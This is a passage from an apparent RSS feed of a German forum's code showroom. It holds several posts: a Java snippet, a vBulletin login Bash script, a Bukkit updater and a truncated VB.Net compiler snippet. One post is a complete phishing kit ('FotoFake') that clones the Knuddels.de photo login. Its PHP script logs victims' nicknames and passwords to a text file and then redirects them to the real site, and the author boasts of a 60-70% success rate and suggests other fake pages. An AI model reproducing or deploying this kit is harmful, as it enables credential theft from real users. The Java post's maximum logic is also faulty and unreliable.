/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">max&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">a</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;((</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">)&nbsp;&amp;&nbsp;(</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">max&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;((</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">)&nbsp;&amp;&nbsp;(</span><span style="color: #0000BB">b&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">max&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;((</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">)&nbsp;&amp;&nbsp;(</span><span style="color: #0000BB">b&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">max&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">b</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">out</span><span style="color: #007700">.</span><span style="color: #0000BB">println</span><span style="color: #007700">(</span><span style="color: #DD0000">"Sie&nbsp;haben&nbsp;die&nbsp;folgenden&nbsp;Zahlen&nbsp;eingegeben:&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">b&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">System</span><span style="color: #007700">.</span><span style="color: #0000BB">out</span><span style="color: #007700">.</span><span style="color: #0000BB">println</span><span style="color: #007700">(</span><span style="color: #DD0000">"Die&nbsp;höchste&nbsp;Zahl&nbsp;davon&nbsp;ist:&nbsp;"&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">max</span><span style="color: #007700">);<br /><br /><br />&nbsp;&nbsp;&nbsp;<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><br />
Ideen/Anregungen für Verbesserungsvorschläge gerne gesehen!</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>AFU</dc:creator>
			<guid isPermaLink="true">showroom-102/java-maximum-aus-3-zahlen-finden-30730</guid>
		</item>
		<item>
			<title><![CDATA[[Bash] Vbulletin Login]]></title>
			<link>showroom-102/bash-vbulletin-login-31421?goto=newpost</link>
			<pubDate>Tue, 18 Oct 2011 16:01:52 GMT</pubDate>
			<description><![CDATA[Code: 
--------- 
#!/bin/bash 
USER="" 
PASS="" 
MD5=`echo -n "$PASS" | openssl md5` 
ACTION_URL="k-script.cc/login.php?do=login"...]]></description>
			<content:encoded><![CDATA[<div><div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">#!/bin/bash<br />
USER=&quot;&quot;<br />
PASS=&quot;&quot;<br />
MD5=`echo -n &quot;$PASS&quot; | openssl md5`<br />
ACTION_URL=&quot;k-script.cc/login.php?do=login&quot;<br />
POST_DATA=&quot;vb_login_username=$USER&amp;vb_login_password=$PASS&amp;s=&amp;securitytoken=guest&amp;do=login&amp;vb_login_md5password=$MD5&amp;vb_login_md5password_utf=$MD5&quot;<br />
wget -q --save-cookie cookie.txt --post-data &quot;$POST_DATA&quot;&nbsp; &quot;$ACTION_URL&quot; --user-agent &quot;Mozilla/5.0&quot; <br />
if [[ $(cat cookie.txt | grep &quot;vbseo_loggedin&nbsp; yes&quot;) -eq 0 ]]; then<br />
echo &quot;Login true&quot;<br />
else<br />
echo &quot;Login false&quot;<br />
fi<br />
#rm login.php\?do\=login*<br />
#rm cookie.txt</code><hr />
</div>Muss man glaub ich nicht viel zu sagen. Mit --load-cookie kann man den Cookie auch weiter verwenden.</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Ta1lor</dc:creator>
			<guid isPermaLink="true">showroom-102/bash-vbulletin-login-31421</guid>
		</item>
		<item>
			<title><![CDATA[[PHP-Source] Foto-Fake extreme by svN]]></title>
			<link>showroom-102/php-source-foto-fake-extreme-by-svn-30555?goto=newpost</link>
			<pubDate>Sun, 16 Oct 2011 21:01:19 GMT</pubDate>
			<description><![CDATA[Hallo liebe Community, 
  
 
 ich werde jetzt mein legendäres Script &#8222;*FotoFake*&#8220; der Community überlassen, 
 was ihr damit macht, bleibt euch...]]></description>
			<content:encoded><![CDATA[<div>Hallo liebe Community,<br />
 <br />
<br />
 ich werde jetzt mein legendäres Script &#8222;<b>FotoFake</b>&#8220; der Community überlassen,<br />
 was ihr damit macht, bleibt euch überlassen.<br />
 <br />
<b>Download ist</b>: <b><font color="Lime">Online</font></b><br />
 <br />
<br />
 <font color="Red"><b>Erklärung</b></font>:<br />
 <br />
<br />
 <b><u>Programmiertes</u></b>:<br />
 <br />
<ol class="decimal"><li style=""><i>PHP, HTML, CSS, jQuery</i>.</li><li style=""><i>Funktionalität</i>: 100%</li><li style=""><i>Erfolgsquote</i>: ca. 60% - 70%</li></ol><br />
<br />
<br />
<br />
 Ihr könnt das Script auch gerne umschreiben, oder als was anderes benutzen z.B: Andere<u> Fake-Seiten</u>.<br />
 <br />
<br />
 Das gute an dem Script ist, dass wenn die Richtigen &#8222;<font color="Red"><b>Knuddels.d</b></font>e&#8220; Daten eingetragen werden, loggt er sich direkt auf der Photo-Seite von &#8222;<font color="Red"><b>Knuddels.de</b></font>&#8220; ein, dass heißt ganz klar, dass wenn auch die Falschen &#8222;<font color="Red"><b>Knuddels.de</b></font>&#8220; Daten angegeben werden, kommt sofort die Fehlermeldung: <i>&#8222;Falsches Passwort / Nickname existiert nicht&quot;</i>.<br />
 Dank <font color="Red"><i>jQuery</i></font>, werden alle Informationen aus der Form &#8222;#ID&#8220; gesammelt und an die Gewünschte Adresse übergeben mittels POST.<br />
 <br />
<br />
 Davon bekommt eurer &#8222;Victim&#8220; nichts mit, wäre ja wohl scheiße, wenn er das alles sehen würde.<br />
 <br />
<br />
<font color="Red"><b><u>Index.html</u></b></font><br />
<br />
<br />
<div style="margin:20px; margin-top:5px">
<div class="smallfont" style="margin-bottom:2px"><b>Spoiler</b>:<input type="button" value="Show" style="width:45px;font-size:10px;margin:0px;padding:0px;" onClick="if (this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display != '') { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = '';        this.innerText = ''; this.value = 'Hide'; } else { this.parentNode.parentNode.getElementsByTagName('div')[1].getElementsByTagName('div')[0].style.display = 'none'; this.innerText = ''; this.value = 'Show'; }">
</div>
<div class="alt2" style="margin: 0px; padding: 6px; border: 1px inset;">
<div style="display: none;">
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">HTML-Code:</div>
	<hr /><code class="bbcode_code"><span style="color:#800000">&lt;script src=<span style="color:#0000FF">&quot;http://code.jquery.com/jquery-1.5.min.js&quot;</span>&gt;</span><span style="color:#800000">&lt;/script&gt;</span><br />
<span style="color:#800000">&lt;script type=<span style="color:#0000FF">&quot;text/javascript&quot;</span>&gt;</span><br />
<br />
$(document).ready(function()<br />
{<br />
<br />
&nbsp; &nbsp; $(&quot;#form-photologin&quot;).submit(function() {<br />
&nbsp;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; $.ajax({<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type: &quot;POST&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; url: &quot;http://photo.knuddels.de/photos-login_submit.html&quot;,<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data: &quot;?nickname&quot; + $(&quot;#photologin-nickname&quot;).val() + &quot;?password=&quot; + $(&quot;#photologin-password&quot;).val(),<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; });<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; return true;<br />
&nbsp;<br />
&nbsp; &nbsp; });<br />
&nbsp;<br />
});<br />
<br />
<span style="color:#800000">&lt;/script&gt;</span><br />
<span style="color:#FF8000">&lt;form action=<span style="color:#0000FF">&quot;lol.php&quot;</span> method=<span style="color:#0000FF">&quot;POST&quot;</span> accept-charset=&quot;UTF-8&quot; enctype=<span style="color:#0000FF">&quot;application/x-www-form-urlencoded&quot;</span> id=<span style="color:#0000FF">&quot;form-photologin&quot;</span> name=<span style="color:#0000FF">&quot;form-photologin&quot;</span>&gt;</span><br />
<span style="color:#008080">&lt;table class=<span style="color:#0000FF">&quot;none&quot;</span>&gt;</span><br />
<span style="color:#008080">&lt;tbody&gt;</span><br />
<span style="color:#008080">&lt;tr id=<span style="color:#0000FF">&quot;formline-photologin-nickname&quot;</span> class=<span style="color:#0000FF">&quot;formline formline-photologin-nickname formres-no formres-noresult-photologin-nickname &quot;</span>&gt;</span><br />
<span style="color:#008080">&lt;td class=<span style="color:#0000FF">&quot;formlabel&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;label&quot;</span>&gt;</span><br />
<span style="color:#FF8000">&lt;label for=<span style="color:#0000FF">&quot;photologin-nickname&quot;</span>&gt;</span>Nickname<span style="color:#FF8000">&lt;/label&gt;</span>:<span style="color:#000080">&lt;/span&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
<span style="color:#008080">&lt;td class=<span style="color:#0000FF">&quot;formelement&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;formelementbody&quot;</span>&gt;</span><br />
<span style="color:#FF8000">&lt;input type=<span style="color:#0000FF">&quot;text&quot;</span> class=<span style="color:#0000FF">&quot;text type-String&quot;</span> name=<span style="color:#0000FF">&quot;nickname&quot;</span> id=<span style="color:#0000FF">&quot;photologin-nickname&quot;</span> value=<span style="color:#0000FF">&quot;&quot;</span> /&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;formerror hidden&quot;</span> id=<span style="color:#0000FF">&quot;err-photologin-nickname&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><span style="color:#000080">&lt;/div&gt;</span><span style="color:#008080">&lt;/td&gt;</span><span style="color:#008080">&lt;/tr&gt;</span><br />
<span style="color:#008080">&lt;tr id=<span style="color:#0000FF">&quot;formline-photologin-password&quot;</span> class=<span style="color:#0000FF">&quot;formline formline-photologin-password formres-no formres-noresult-photologin-password &quot;</span>&gt;</span><br />
<span style="color:#008080">&lt;td class=<span style="color:#0000FF">&quot;formlabel&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;label&quot;</span>&gt;</span><br />
<span style="color:#FF8000">&lt;label for=<span style="color:#0000FF">&quot;photologin-password&quot;</span>&gt;</span>Passwort<span style="color:#FF8000">&lt;/label&gt;</span>:<span style="color:#000080">&lt;/span&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
<span style="color:#008080">&lt;td class=<span style="color:#0000FF">&quot;formelement&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;formelementbody&quot;</span>&gt;</span><br />
<span style="color:#FF8000">&lt;input type=<span style="color:#0000FF">&quot;password&quot;</span> class=<span style="color:#0000FF">&quot;text password type-String&quot;</span> name=<span style="color:#0000FF">&quot;password&quot;</span> id=<span style="color:#0000FF">&quot;photologin-password&quot;</span> /&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;formerror hidden&quot;</span> id=<span style="color:#0000FF">&quot;err-photologin-password&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><span style="color:#000080">&lt;/div&gt;</span><span style="color:#008080">&lt;/td&gt;</span><span style="color:#008080">&lt;/tr&gt;</span><span style="color:#008080">&lt;/tbody&gt;</span><span style="color:#008080">&lt;/table&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;bbutton submit&quot;</span> id=<span style="color:#0000FF">&quot;submit-button-1591813711&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;bttl corner&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;bttr corner&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;bttm&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;btm&quot;</span>&gt;</span><br />
<span style="color:#800080">&lt;img src=<span style="color:#0000FF">&quot;http://1.1.1.1/bmi/photo.knuddels.de/sf/m/buttons/bt-nm.png&quot;</span> id=<span style="color:#0000FF">&quot;submit-button-791976364-img&quot;</span> class=<span style="color:#0000FF">&quot;jsFixHeight&quot;</span> style=<span style="color:#0000FF">&quot;&quot;</span> height=<span style="color:#0000FF">&quot;22&quot;</span> width=<span style="color:#0000FF">&quot;&quot;</span> /&gt;</span><br />
<span style="color:#FF8000">&lt;input type=<span style="color:#0000FF">&quot;submit&quot;</span> name=<span style="color:#0000FF">&quot;submitElement&quot;</span> value=<span style="color:#0000FF">&quot;&quot;</span> class=<span style="color:#0000FF">&quot;image-submit&quot;</span> /&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;btmi&quot;</span>&gt;</span><br />
<span style="color:#000080">&lt;span class=<span style="color:#0000FF">&quot;text&quot;</span>&gt;</span>Login<span style="color:#000080">&lt;/span&gt;</span><span style="color:#000080">&lt;/div&gt;</span><span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;btbl corner&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;btbr corner&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;btbm&quot;</span>&gt;</span><span style="color:#000080">&lt;/div&gt;</span><span style="color:#000080">&lt;/div&gt;</span>&lt;/form&#93;</code><hr />
</div>
</div>
</div>
</div><br />
<br />
<font color="Red"><u><b>PHP Script</b></u></font>:<br />
lol.php<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />$handle&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #DD0000">"log.txt"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"a"</span><span style="color: #007700">);<br />foreach(</span><span style="color: #0000BB">$_POST&nbsp;</span><span style="color: #007700">as&nbsp;</span><span style="color: #0000BB">$variable&nbsp;</span><span style="color: #007700">=&gt;&nbsp;</span><span style="color: #0000BB">$value</span><span style="color: #007700">)&nbsp;{<br /></span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">$handle</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$variable</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">$handle</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"="</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">$handle</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$value</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">$handle</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">);<br />}<br /></span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">$handle</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">fclose</span><span style="color: #007700">(</span><span style="color: #0000BB">$handle</span><span style="color: #007700">);<br />echo&nbsp;</span><span style="color: #DD0000">'&lt;meta&nbsp;http-equiv="refresh"&nbsp;content="0;URL=http://photo.knuddels.de/photos-login_submit.html?nickname='</span><span style="color: #007700">.</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'nickname'</span><span style="color: #007700">&#93;.</span><span style="color: #DD0000">'&amp;password='</span><span style="color: #007700">.</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'password'</span><span style="color: #007700">&#93;.</span><span style="color: #DD0000">'"&nbsp;/&gt;'</span><span style="color: #007700">;<br />exit;&nbsp;&nbsp;<br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code></code><hr />
</div><font color="Red"><u><b>jQuery Script</b></u></font>:<br />
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"><br /></span><span style="color: #007700">&lt;</span><span style="color: #0000BB">script&nbsp;type</span><span style="color: #007700">=</span><span style="color: #DD0000">"text/javascript"</span><span style="color: #007700">&gt;<br /><br />$(</span><span style="color: #0000BB">document</span><span style="color: #007700">).</span><span style="color: #0000BB">ready</span><span style="color: #007700">(function()<br />{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;$(</span><span style="color: #DD0000">"#form-photologin"</span><span style="color: #007700">).</span><span style="color: #0000BB">submit</span><span style="color: #007700">(function()&nbsp;{<br />&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$.</span><span style="color: #0000BB">ajax</span><span style="color: #007700">({<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">type</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">"POST"</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">url</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">"http://photo.knuddels.de/photos-login_submit.html"</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">data</span><span style="color: #007700">:&nbsp;</span><span style="color: #DD0000">"?nickname"&nbsp;</span><span style="color: #007700">+&nbsp;$(</span><span style="color: #DD0000">"#photologin-nickname"</span><span style="color: #007700">).</span><span style="color: #0000BB">val</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #DD0000">"?password="&nbsp;</span><span style="color: #007700">+&nbsp;$(</span><span style="color: #DD0000">"#photologin-password"</span><span style="color: #007700">).</span><span style="color: #0000BB">val</span><span style="color: #007700">(),<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;});<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;});<br />&nbsp;<br />});<br /><br />&lt;/</span><span style="color: #0000BB">script</span><span style="color: #007700">&gt;&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><font color="Red"><b>Wichtig</b></font>: Es muss noch die &quot;log.txt&quot; erstell werden, damit die Daten gespeichert werden können.<br />
<br />
<br />
<b><font color="Red">Info</font></b>: Ihr dürft gerne Fragen stellen.<br />
<br />
Ein kleines Dankeschön wäre angebracht.<br />
<br />
<br />
<br />
 Mit freundlichen Grüßen  <br />
 <br />
<br />
 svN alias j1nZ<br />
__________________<br />
-Push-<br />
Ihr könnt auch gerne Fragen stellen. Oder ich würde euch sogar auch anbieten, euch zu Helfen...<br />
__________________<br />
-Push-</div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>svN</dc:creator>
			<guid isPermaLink="true">showroom-102/php-source-foto-fake-extreme-by-svn-30555</guid>
		</item>
		<item>
			<title><![CDATA[[Bash] Bukkit update]]></title>
			<link>showroom-102/bash-bukkit-update-31550?goto=newpost</link>
			<pubDate>Sun, 16 Oct 2011 19:05:37 GMT</pubDate>
			<description>Hallo, 
 
da mir gerade ziemlich langweilig war habe ich mal mein altes Script genommen und bisschen schöner gemacht. Viel zu sagen ist nicht. Ihr...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
da mir gerade ziemlich langweilig war habe ich mal mein altes Script genommen und bisschen schöner gemacht. Viel zu sagen ist nicht. Ihr müsst die Path Variable natürlich zu eurer .jar Datei zeigen lassen.<br />
Vielleicht kann es ja jemand brauchen, habe es nur kurz getestet.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Code:</div>
	<hr /><code class="bbcode_code">#!/bin/bash<br />
<br />
##############################################################<br />
# Author: Ta1lor&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
# Description: Simply update your Bukkit server&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
# Date: 2011-09-15&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  <br />
# Last update: 2011-10-16&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
##############################################################<br />
<br />
#You can use this commands to kill your minecraft server<br />
#killall -9 java<br />
<br />
# Set the path to your *.jar<br />
path=&quot;/tmp/mc/craftbukkit-0.0.1-SNAPSHOT.jar&quot;<br />
if [ -e &quot;$path&quot; ]; then<br />
<br />
# Get current Bukkit version<br />
cd /tmp/<br />
wget -q - &quot;http://ci.bukkit.org/job/dev-CraftBukkit/lastStableBuild/&quot;<br />
version=`cat index.html | egrep -o &quot;Build #[0-9]{1,4}&quot;`<br />
rm index.html*<br />
<br />
# Download current version + move 2 folder<br />
echo &quot;Downloading: $version&quot;<br />
wget -q - http://ci.bukkit.org/job/dev-CraftBukkit/lastSuccessfulBuild/artifact/target/craftbukkit-0.0.1-SNAPSHOT.jar<br />
cp &quot;craftbukkit-0.0.1-SNAPSHOT.jar&quot; &quot;$path&quot;<br />
rm craft*<br />
echo &quot;We just updated your server (version: $version)!&quot;<br />
else<br />
echo &quot;Path not found&quot;<br />
fi<br />
<br />
# Start your server<br />
# java -jar craftbukkit.jar</code><hr />
</div></div>

]]></content:encoded>
			<category domain="showroom-102">Showroom</category>
			<dc:creator>Ta1lor</dc:creator>
			<guid isPermaLink="true">showroom-102/bash-bukkit-update-31550</guid>
		</item>
		<item>
			<title>VB.Net Compiler</title>
			<link>showroom-102/vb-net-compiler-31638?goto=newpost</link>
			<pubDate>Thu, 13 Oct 2011 15:18:30 GMT</pubDate>
			<description>Heyho, habe diesen Code vor ein paar Wochen im Internet gefunden, weiß allerdings nicht mehr wo.. 
Wenn ich die Quelle finde, editiere ich diese...</description>
			<content:encoded><![CDATA[<div>Heyho, habe diesen Code vor ein paar Wochen im Internet gefunden, weiß allerdings nicht mehr wo..<br />
Wenn ich die Quelle finde, editiere ich diese noch.<br />
<br />
Es handelt sich hierbei um euren eigenen Compiler...<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">Private&nbsp;Function&nbsp;</span><span style="color: #0000BB">CompileCode</span><span style="color: #007700">(</span><span style="color: #0000BB">ByVal&nbsp;code&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;tmpfile&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">ByVal&nbsp;outpath&nbsp;</span><span style="color: #007700">As&nbsp;</span><span style="color: #0000BB">String</span><span style="color: #007700">)&nbsp;As&nbsp;</span><span style="color: #0000BB">Boolean<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;IO</span><span style="color: #007700">.</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">WriteAllText</span><span style="color: #007700">(</span><span style="color: #0000BB">tmpfile</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;If&nbsp;</span><span style="color: #0000BB">IO</span><span style="color: #007700">.</span><span style="color: #0000BB">File</span><span style="color: #007700">.</span><span style="color: #0000BB">Exists</span><span style="color: #007700">(</span><span style="color: #0000BB">outpath</span><span 